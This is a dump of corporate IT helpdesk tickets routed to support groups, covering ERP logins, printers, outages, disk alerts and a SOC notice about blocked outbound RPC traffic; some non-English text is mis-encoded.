aeophctw nvjyhizu : united kingdom : , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp is broken down, Description: \_x000D\_
\_x000D\_
received from: cbupnjzo.daflthkw@gmail.com\_x000D\_
\_x000D\_
please see error message from erp.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d1f87b.b6974d90]\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen, best , is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: mm\_zscr0099\_dly\_uschow1, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: mm\_zscr0099\_dly\_uschow1 at 08/17/16 05:34:31, is assigned to Assignment group: GRP\_29.Ticket with Short description: erp not working , Description: erp not connecting
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 is not working, Description: plant germany can not log in.+, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp logon not possible after the error , multiple users affected , Description: please see the error message attached , is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit scanner und drucker \zslugaxq dtwlrofu, Description: \_x000D\_
bei frau gÃ¶dde ist der drucker nicht i.o..\_x000D\_
\_x000D\_
1. wenn sie etwas scannt, ist der scan grÃ¼n\_x000D\_
2. sie kann nichts ausdrucken. der drucker springt zwar an aber es kommt nichts raus.\_x000D\_
, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit office365 \ girnda, Description: probleme mit office365 \ girnda, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \gonzales, Description: setup new ws \gonzales, is assigned to Assignment group: GRP\_24.Ticket with Short description: hp alm triggered not shown up in inbox, Description: :
summary:actually the emails from hp alm triggered not
shown up in inbox, is assigned to Assignment group: GRP\_0.Ticket with Short description: i cannot print out erp documents on zz\_mails functions since today around noon. please help., Description: i want to print out erp documents as pdf file from zz\_mails function. i tried to do it since today's noon for sales document, delivery document, and billing document but nothing comes until now., is assigned to Assignment group: GRP\_0.Ticket with Short description: alte it equipment abholen \wxstfouy isjzcotm, Description: alte it equipment abholen \wxstfouy isjzcotm, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit anmelden. \wxstfouy isjzcotm, Description: leider kann ich mich nicht an meinem rechner anmelden. \_x000D\_
\_x000D\_
fehlermeldung: â€ž die verstrauensstellung zwischen dieser arbeitsstation und der primÃ¤ren domÃ¤ne konnte nicht hergestellt werden"\_x000D\_
, is assigned to Assignment group: GRP\_24.Ticket with Short description: network outage at usa pa. location : plant, Description: network outage at usa pa.
intranet and internet both are affected (erp + outlook ...)
contact : , is assigned to Assignment group: GRP\_4.Ticket with Short description: internet not working in usa location., Description: phone lines were down too but now its working fine.
outlook says : connecting to server.
contact # :, is assigned to Assignment group: GRP\_4.Ticket with Short description: engineering\_drawing\_tool rahmen kann nicht geladen werden, Description: engineering\_drawing\_tool lÃ¤dt keine zeichnungsrahmen, es kommt die meldung aus dem anhang, is assigned to Assignment group: GRP\_46.Ticket with Short description: laptop not switching on, Description: laptop not starting, is assigned to Assignment group: GRP\_19.Ticket with Short description: getting warning messages in outloo while sending out emails via macro function - how can i disable the warning messages?, Description: getting warning messages in outloo while sending out emails via macro function - how can i disable the warning messages?, is assigned to Assignment group: GRP\_28.Ticket with Short description: dn#80579343999-sales org. 1322(plant\_69), Description: \_x000D\_
\_x000D\_
received from: jvxmzteb.vsdcnfyr@gmail.com\_x000D\_
\_x000D\_
hellp it help\_x000D\_
please refer to the below delivery note number\_x000D\_
we are not able to return pgi, please help on this.\_x000D\_
[cid:image001.png@01d1f8aa.ee338e60]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_18.Ticket with Short description: erp hana studio ( sidecar ) software is not working, Description: erp hana studio ( sidecar ) software is not working, is assigned to Assignment group: GRP\_19.Ticket with Short description: reset the password for szcbhvwe edpouqjl on erp / production / erp, Description: dear it team, \_x000D\_
\_x000D\_
can you please be so kind and reset franhtyuÂ´s password to daypay3?\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: zz\_mails : unable to send quotations to customer /sales, Description: \_x000D\_
\_x000D\_
received from: afwzehqs.jfbxegac@gmail.com\_x000D\_
\_x000D\_
hello team\_x000D\_
\_x000D\_
we are unable to send any quotations to customer or sales through zz\_mails.\_x000D\_
\_x000D\_
please check and resolve immediately.\_x000D\_
\_x000D\_
example: 3116105044 was sent to afwzehqs.jfbxegac@gmail.com<mailto:afwzehqs.jfbxegac@gmail.com> but not received.\_x000D\_
\_x000D\_
warm , is assigned to Assignment group: GRP\_13.Ticket with Short description: meeting inivation no skype åŠ è½½é¡¹, Description: meeting inivation no skype åŠ è½½é¡¹ ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: erp logon SID\_34 & SID\_37, Description: \_x000D\_
\_x000D\_
received from: kbclinop.vsczklfp@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
i have been trying but couldn't set my erp logon to same window login password. please help to reset my erp login, and configure to the same as per my window login pw.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows disk space utilization alert :: HostName\_19 , Description: windows disk space utilization alert :: HostName\_19 , is assigned to Assignment group: GRP\_12.Ticket with Short description: password not working for user : frgtyetij, Description:
from: qwvpgayb amniujsh
sent: wednesday, august 17, 2016 12:18 pm
to: nwfodmhc exurcwkm
cc: gaiopkun bvcdpxrt; qamyesuv npmzxbek
subject: fw: sab : gaiopkun bvcdpxrt password issue
importance: high
hi team,
rubiargty changed the password a few times already but the issue remains the same : julgttie cannot log in.
can you please investigate aerp because our new sales engineer needs to work on customers immediately ?
, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: pp\_EU\_tool\_netch\_ap1, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: pp\_EU\_tool\_netch\_ap1 at 08/17/16 03:41:32, is assigned to Assignment group: GRP\_8.Ticket with Short description: windows disk space utilization alert ::: lhbsm005 , Description: windows disk space utilization alert ::: lhbsm005 , is assigned to Assignment group: GRP\_12.Ticket with Short description: firewall company-internal-pix.company.com at ltrobe is down since 1:43am et on 08/17., Description: firewall company-internal-pix.company.com (10.32.100.18) at ltrobe is down since 1:43am et on 08/17., is assigned to Assignment group: GRP\_4.Ticket with Short description: windows disk space utilization alert for :: HostName\_106 , Description: windows disk space utilization alert for :: HostName\_106 \_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: scanners down (especially scn to email is not working), Description: server ip : 10.32.1.101 ( no reply to ping) smtp server
error : communication error.
contact :
server name : not known
server location : usa
, is assigned to Assignment group: GRP\_12.Ticket with Short description: document sent out via zz\_mails can't be received in time, Description: i made a uacyltoe hxgaycze as sent document 7611183197 to my own email address via zz\_mails at 3 pm (apac time).
but 30 mins later, it still has not been received.
, is assigned to Assignment group: GRP\_13.Ticket with Short description: password reset., Description: password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: zz\_mails is not working, Description: dear it team, \_x000D\_
today our zz\_mails is not working, can you please check what happened?\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: mobile device activation., Description: mobile device activation., is assigned to Assignment group: GRP\_0.Ticket with Short description: storage of 3d machine assembly models., Description: \_x000D\_
\_x000D\_
received from: cyxzfvtj.yklmvqxf@gmail.com\_x000D\_
\_x000D\_
1. need a common place for online storage of 3d complete machine assembly models at one place. presently the drawings are in individual designer's pcs and retrieval is difficult.\_x000D\_
day by day as more & more machines are designed in 3d the data handling is going out of control.\_x000D\_
\_x000D\_
2. common place (separate drive) under administrative control to save and view these complete machine assembly models.\_x000D\_
\_x000D\_
3. periodic back up & archiving of data stored at this place.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
with , is assigned to Assignment group: GRP\_12.Ticket with Short description: keine azm-meldungen mÃ¶glich, Description: im EU\_tool lassen sich keine azm-meldungen eintragen\_x000D\_
\_x000D\_
in EU\_tool, azm messages can not be registered., is assigned to Assignment group: GRP\_25.Ticket with Short description: the interface 'gi7/3';'te6/1;gi7/11 and gi8/15 in bottom-6509-msfc720 switch at usa is down since 2:00am et on 08/17, Description: the interface 'gi7/3';'te6/1;gi7/11 and gi8/15 in bottom-6509-msfc720 switch at usa is down since 2:00am et on 08/17, is assigned to Assignment group: GRP\_8.Ticket with Short description: global it-germany-erp- "send output with email" does not works!!!, Description: good day dear all,\_x000D\_
please help me aerp, so that the erp-"output sending with email" will work as well as yesterday!\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: urgent : ordering from purchasing catalogue not working, Description: ordering from purchasing catalogue not working, unable to order. please see the attachments., is assigned to Assignment group: GRP\_29.Ticket with Short description: log on erp, password need to change, Description:
received from: gvderpbx.udrzjxkm@gmail.com
hi, please assist
i had to change my windows password as it was about to expire.
now i can't log in on erp.
username bragtydlc
employee nr 700104
please assist aerp.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: issues when processing t&d requests - urgent, Description: please help to look into the issues i got in attachment. , is assigned to Assignment group: GRP\_2.Ticket with Short description: urgent!! erp outputs not generated, Description: all users in poland encounter issue with erp outputs (see the error message attached) , is assigned to Assignment group: GRP\_13.Ticket with Short description: my screen would beshryuout momentarily and return with the following "display driver stopped responding and has recovered", Description: i have just changed my laptop recently and after the change, every time i used microsoft excel dealing with huge information, my screen would beshryu out momentarily with the following message "display driver stopped responding and has recovered." this beshryu out could happen as often as every 5-10 minutes when i am using excel. \_x000D\_
\_x000D\_
twice it was so bad that the screen turn blue with some information on crash dump and i have to force re-start my laptop. , is assigned to Assignment group: GRP\_19.Ticket with Short description: robot lhqw8325925sf at usa is inactive since 1:54am et on 08/17., Description: robot lhqw8325925sf at usa is inactive since 1:54am et on 08/17., is assigned to Assignment group: GRP\_8.Ticket with Short description: 20160816 plant\_308 label error, Description: \_x000D\_
\_x000D\_
received from: bjrtfeyi.fuqapwtv@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
when the operator print plant\_308 label, he click "made in plant\_308" there is no information as below correct screenshot.\_x000D\_
could you help to solve the error, please? , is assigned to Assignment group: GRP\_45.Ticket with Short description: HostName\_755 EU\_tool server restart required, Description: please restart the server aerp and check if it works again. EU\_tool is not working for germany plant. our it-partner is on vacation., is assigned to Assignment group: GRP\_12.Ticket with Short description: connection to 'admin2-datacenter-switch04' ;switch05 & admin2-datacenter-switch06 is down at latrosince 1:40am et 08/17., Description: connection to 'admin2-datacenter-switch04' (ping) failed (ip: 71.62.89.948 , profile: admin2-datacenter-switch04)\_x000D\_
connection to 'admin2-datacenter-switch05' (ping) failed (ip: 75.16.41.846 , profile: admin2-datacenter-switch05)\_x000D\_
connection to 'admin2-datacenter-switch06' (ping) failed (ip: 28.12.01.025 , profile: admin2-datacenter-switch06), is assigned to Assignment group: GRP\_53.Ticket with Short description: pls help to change the internal order number 717625 from cost center cnn010 to cplant\_2412., Description: we jsut had a new company marocm apac cost cneter cplant\_2412. pls help to change the internal order number 717625 from cost center cnn010 to cplant\_2412. , is assigned to Assignment group: GRP\_10.Ticket with Short description: not able to find a folder in outlook , Description: not able to find a folder in outlook , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to send mail with forward restriction, Description: unable to send mail with forward restriction, is assigned to Assignment group: GRP\_19.Ticket with Short description: re: deployment notification | telephony\_software 2016, Description:
received from: wqfzjycu.omleknjd@gmail.com
hi deeghyupak,
i was on vacation when your e-mail was sent last week and only managed to see it on my return minutes before the automatically deployment.
on a general note unless there is a critical security risk deployment these updates should be limited to once a month, so far this month this is the third deployment. you may not realize the impact this has on our users especially the unannounced updates. in addition with users similarly to csr who are working directly with our customers, i do not think it is the best practice to deploy automatically updates especially to all users all at the same time.
the impact of yesterday's deployment was that our csr phones were not operating for over 2 hours during the morning.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: problem mit festnetztelefon, Description:
received from: jctnelqs.lansuiwe@gmail.com
verehrte damen und herren,
an meinem festnetztelefon ist seit geraumer zeit die anzeige im display nur noch unvollstÃ¤ndig erkennbar.
mehrere waagerechte linien machen die anzeige unlesbar.
meine telefonnummer lautet 09279/80-155.
bitte um abhilfe.
mit freundlichem gruÃŸ
jctnelqs lansuiwe
quality assurance
jctnelqs.lansuiwe@gmail.com<mailto:jctnelqs.lansuiwe@gmail.com>
, is assigned to Assignment group: GRP\_33.Ticket with Short description: abended job in job\_scheduler: Job\_1148, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1148 at 08/17/16 01:15:32, is assigned to Assignment group: GRP\_9.Ticket with Short description: please advise damage dell laptop lit only 1 minute , Description:
received from: bmhxwvys.tdmgolwn@gmail.com
dear sir
please advise damage dell laptop lit only 1 minute in, see attachment
thank for the response and cooperation.
best , is assigned to Assignment group: GRP\_19.Ticket with Short description: demage laptop, Description:
received from: bmhxwvys.tdmgolwn@gmail.com
dear sir
i apologize
i do not know a lot about the mechanics lap top, the power button surely die.
sorry i just users, in indonesia, my time is very limited for customer visits and evaluation of the data and provide engineering solutions.
so if possible i ask laptop in exchange, please help if you can bring to mr. abhay,
mr. abhay have a plan date august 22, 2016 will come to indonesia.
, is assigned to Assignment group: GRP\_19.Ticket with Short description: erp SID\_37 account locked , Description: erp SID\_37 account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: need adobe reader to download ., Description: need adobe reader to download ., is assigned to Assignment group: GRP\_0.Ticket with Short description: account activation, Description:
received from: nxlzpgfr.rlqowmyt@gmail.com
good morning,
please reactivate the account of my colleague mr. xrfcjkdl dtnzgkby (vvsfgtyrinv),
best , is assigned to Assignment group: GRP\_2.Ticket with Short description: virus has been found in my laptop, Description: \_x000D\_
\_x000D\_
received from: gqwdslpc.clhgpqnb@gmail.com\_x000D\_
\_x000D\_
following virus has been found in my laptop, please rectify the same.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image003.jpg@01d1f865.b82a99c0]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: skypeä¼šè®®æ—¶ä¸åŽ», Description: skypeä¼šè®®ä»Žé‚®ç®±é‡Œçš„é“¾æŽ¥è¿›ä¸åŽ»ã€‚, is assigned to Assignment group: GRP\_30.Ticket with Short description: attendance\_tool password , Description: \_x000D\_
\_x000D\_
received from: xwertljy.zrmlhkyq@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
attendance\_tool password forgot please reset.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reboot of lhqsm435, HostName\_951, HostName\_952, lhqsm489 & HostName\_997 (sql uacyltoe hxgaycze). , Description: reboot of lhqsm435, HostName\_951, HostName\_952, lhqsm489 & HostName\_997 (sql uacyltoe hxgaycze). , is assigned to Assignment group: GRP\_8.Ticket with Short description: po issue, Description: \_x000D\_
\_x000D\_
received from: jrdafplx.fcnjmvts@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
for the multiple cost center , why the gr amount is 0?\_x000D\_
\_x000D\_
[cid:image005.png@01d1f873.8d4d35b0]\_x000D\_
\_x000D\_
[cid:image006.png@01d1f873.8d4d35b0]\_x000D\_
\_x000D\_
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\_x000D\_
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\_x000D\_
with best , is assigned to Assignment group: GRP\_29.Ticket with Short description: i can not connect to vpn., Description: name:pfzxecbo ptygkvzl\_x000D\_
language:\_x000D\_
browser:microsoft internet explorer\_x000D\_
email:pfzxecbo.ptygkvzl@gmail.com\_x000D\_
customer number:\_x000D\_
telephone:\_x000D\_
summary:i can not connect to vpn., is assigned to Assignment group: GRP\_0.Ticket with Short description: å®žä¹ ç”Ÿç™»å½•office365ä¸‹è½½é‚®ä»¶é™„ä»¶æ—¶æŠ¥é”™ï¼ˆè½¬ç»™è´ºæ­£å¹³ï¼‰, Description: å®žä¹ ç”Ÿç™»å½•office365ä¸‹è½½é‚®ä»¶é™„ä»¶æ—¶æŠ¥é”™, is assigned to Assignment group: GRP\_30.Ticket with Short description: lcow8327368 shows down since 8/16/2016 3:48 pm est, Description: lcow8327368 shows down since 8/16/2016 3:48 pm est\_x000D\_
location : new albaney.\_x000D\_
engineering\_tool aggergrythator production server., is assigned to Assignment group: GRP\_8.Ticket with Short description: é¤åŽ…ç”µè§†æ— æ³•æ’­æ”¾è§†é¢‘æ–‡ä»¶, Description: é¤åŽ…ç”µè§†æœºæ— æ³•æ’­æ”¾è§†é¢‘æ–‡ä»¶ï¼Œè¯·å°è´ºååŠ©å®Œæˆã€‚è°¢è°¢ï¼, is assigned to Assignment group: GRP\_30.Ticket with Short description: please help add e-mail box to my outlook, Description:
received from: pkdavqwt.tafrmxsh@gmail.com
hello it team,
could you please add e-mail box -kds.plant\_283-services@company.com<mailto:-kds.plant\_283-services@company.com> to my outlook? my id is jilgtyq, , is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage : , spain kenci site is hard down at 8:40 pm et on 08/16. no backup circuit., Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_8:40 pm et on 08/16.\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: login issue , Description: login issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: company login issue., Description: company login issue., is assigned to Assignment group: GRP\_0.Ticket with Short description: åˆ¶ç²‰ç”µè„‘ç”µæºçº¿ç­‰æŸå, Description: åˆ¶ç²‰ä¸‰æ¥¼æŽ§åˆ¶å®¤å†…ç”µè„‘ç”µæºçº¿ã€ç½‘çº¿ç­‰å› é«˜æ¸©æŸåï¼Œéœ€æ›´æ¢ã€‚, is assigned to Assignment group: GRP\_48.Ticket with Short description: skype for businessæ•…éšœ, Description: ç³»ç»Ÿä¸­çªç„¶æ‰¾ä¸åˆ°skype for businessäº†, is assigned to Assignment group: GRP\_48.Ticket with Short description: æ‹¼å†™å’Œè¯­æ³•é”™è¯¯, Description: ç¼–è¾‘pptæ—¶ï¼Œæ€»æ˜¯å¼¹å‡º"æ— æ³•æ£€æŸ¥æ‹¼å†™å’Œè¯­æ³•é”™è¯¯"ï¼Œä¹Ÿæ— æ³•å®‰è£…ã€‚, is assigned to Assignment group: GRP\_48.Ticket with Short description: ç”µè„‘æ•…éšœ, Description: è´¨æŽ§éƒ¨æ‹‰åŠ›è¯•éªŒæœºæŽ§åˆ¶ç”µè„‘çš„æ“ä½œç³»ç»Ÿå¯åŠ¨éžå¸¸ç¼“æ…¢ï¼ŒæŽ§åˆ¶è½¯ä»¶ä¸¢å¤±ã€‚, is assigned to Assignment group: GRP\_48.Ticket with Short description: HostName\_188: ora-00600: internal error code, arguments: [kggsmgetstring:1], [0x1233a6d28], [11], [1], [10], [], [], [], [], Description: HostName\_188 : ora-00600: internal error code, arguments: [kggsmgetstring:1], [0x1233a6d28], [11], [1], [10], [], [], [], [], is assigned to Assignment group: GRP\_1.Ticket with Short description: unable to submit discount form , Description: unable to submit discount form , is assigned to Assignment group: GRP\_0.Ticket with Short description: reset erp SID\_34 password for user soemec, Description: reset erp SID\_34 password for user soemec, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: hr\_tooldcvcgenratn, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: hr\_tooldcvcgenratn at 08/16/16 17:02:27, is assigned to Assignment group: GRP\_6.Ticket with Short description: user got a pop-up that displayed virus on the browser., Description: user got a pop-up that displayed virus on the browser.\_x000D\_
-advised the user to restart the pc as he was unable to open anyother window.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: login issue, Description: login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and unlocked the account.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: please extend wireless access from ticket\_no1480742 to 12/31/16, Description: consultant vmhfteqo jpsfikow from schneider downs needs wireless account extended to the end of the year.\_x000D\_
\_x000D\_
it is due to expire on 8/31/16, per ticket\_no1480742.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: lcosm005(conformaclad shop\_floor\_app server):sqlagent.exe and sqlservr.exe are showing down since 4:02 pm on 8/16 et, Description: lcosm005(conformaclad shop\_floor\_app server):sqlagent.exe and sqlservr.exe are showing down since 4:02 pm on 8/16 et, is assigned to Assignment group: GRP\_1.Ticket with Short description: unable to login to her microsoft 365 email account , Description: unable to login to her microsoft 365 email account , is assigned to Assignment group: GRP\_0.Ticket with Short description: power outage : usa - (company inc) vpn circuit is down at 3:45 pm et on 08/16. site is up on primary., Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_slo site\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_\_\_\_3:45 pm et on 08/16.\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_na\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: vitalyst // unable to access to forecast to plan in crm, Description: unable to access to forecast to plan in crm, is assigned to Assignment group: GRP\_22.Ticket with Short description: error login on to the SID\_34 system., Description: error login on to the SID\_34 system.\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-user has tried the password\_management\_tool pwd manager.\_x000D\_
-unlocked the erp id.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_1320, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1320 at 08/16/16 15:06:28, is assigned to Assignment group: GRP\_9.Ticket with Short description: security incidents - ( #in33505432 ) : repeat outbound connection for 135/tcp from 10.16.140.231, Description: source ip :10.16.140.231
system name :evhl8114123
user name: companypzyre mqlsfkre(ldnfgt)
location :germany
sep , sms status :no updated
field sales user ( yes / no) : no
dsw event log:see below
--------------------------------------------------------------------------
=========================
incident overview
=========================
we are seeing your 80.71.06.702/company-european-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from evhl8114123/10.16.140.231 to port 135/tcp (remote procedure call (rpc)) of external host 62.157.140.133. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code.
1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)
2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)
sincerely,
secureworks soc
=========================
technical details
=========================
remote procedure call (rpc), also known as the loovexfbjy lmcaqfkz (loc-srv), is a microsoft windows protocol that allows an application to to execute code in another address space (commonly on another computer on a shared network) without the programdntymer explicitly coding the details for this remote interaction. that is, the programdntymer writes germanytially the same code whether the subroutine is local to the executing programdnty, or remote.
an rpc is initiated by the client, which sends a request message to a known remote server to execute a specified procedure with supplied paramdntyeters. the remote server sends a response to the client, and the application continues its process. rpc runs on port 135, and is used in client/server applications (such as microsoft exchange clients, mgermanyger service, dhcp server, dns server, wins, as well as other windows applications). vulnerabilities in rpc have also been leveraged by several worms as a means for propagation. examples include:
-w32.blaster.worm/msblast/lovsan
-w32.welchia/nachi
-w32.reatle
=========================
references
=========================
=========================
event data
=========================
related events:
event id: 81646471
event summary: repeat outbound connection for 135/tcp
occurrence count: 234
event count: 2
host and connection information
source ip: 10.16.140.231
source hostname: evhl8114123
source port: 54411
destination ip: 62.157.140.133
destination port: 135
destination ip geolocation: ulm, deu
connection directionality: outgoing
protocol: tcp
device information
device ip: 80.71.06.702
device name: company-european-asa.company.com-1
log time: 2016-08-15 at 09:26:41 utc
action: blocked
cvss score: -1
scwx event processing information
sherlock rule id (sle): 237526
inspector rule id: 186739
inspector event id: 626672260
ontology id: 200020003203009162
event type id: 200020003203009062
agent id: 103761
event detail:
aug 15 09:26:41 80.71.06.702 %asa-4-106023: deny tcp src inside:10.16.140.231/54411 dst noris:62.157.140.133/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]
event id: 81646714
event summary: repeat outbound connection for 135/tcp
occurrence count: 234
event count: 2
host and connection information
source ip: 10.16.140.231
source hostname: evhl8114123
source port: 54411
destination ip: 80.156.86.78
destination port: 135
destination ip geolocation: ulm, deu
connection directionality: outgoing
protocol: tcp
device information
device ip: 80.71.06.702
device name: company-european-asa.company.com-1
log time: 2016-08-15 at 09:26:41 utc
action: blocked
cvss score: -1
scwx event processing information
sherlock rule id (sle): 237526
inspector rule id: 186739
inspector event id: 626672260
ontology id: 200020003203009162
event type id: 200020003203009062
agent id: 103761
event detail:
aug 15 09:27:49 80.71.06.702 %asa-4-106023: deny tcp src inside:10.16.140.231/54481 dst noris:80.156.86.78/135 by access-group "acl\_inside" [0xed29b7f9, 0x0], is assigned to Assignment group: GRP\_2.Ticket with Short description: password reset, Description: name:mikhghytr karaffa
language:
browser:microsoft internet explorer
email:vfrdxtqw.jfbmsenz@gmail.com
customer number:
telephone:
summary:hello, can you please advise on my crm password to start?, is assigned to Assignment group: GRP\_0.Ticket with Short description: update on crm access ticket\_no0430983, Description: update on crm access ticket\_no0430983, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on ticket\_no0430539, Description: ticket update on ticket\_no0430539, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_850619, Description: ticket update on inplant\_850619, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_850899, Description: ticket update on inplant\_850899, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_850503, Description: ticket update on inplant\_850503, is assigned to Assignment group: GRP\_0.Ticket with Short description: security incidents - ( #in33505432 ) : repeat outbound connection for 135/tcp from 10.16.140.231, Description: source ip :10.16.140.231\_x000D\_
system name :evhl8114123\_x000D\_
user name: companypzyre mqlsfkre(ldnfgt)\_x000D\_
location :germany\_x000D\_
sep , sms status :no updated\_x000D\_
field sales user ( yes / no) : no\_x000D\_
dsw event log:see below\_x000D\_
--------------------------------------------------------------------------\_x000D\_
=========================\_x000D\_
incident overview\_x000D\_
=========================\_x000D\_
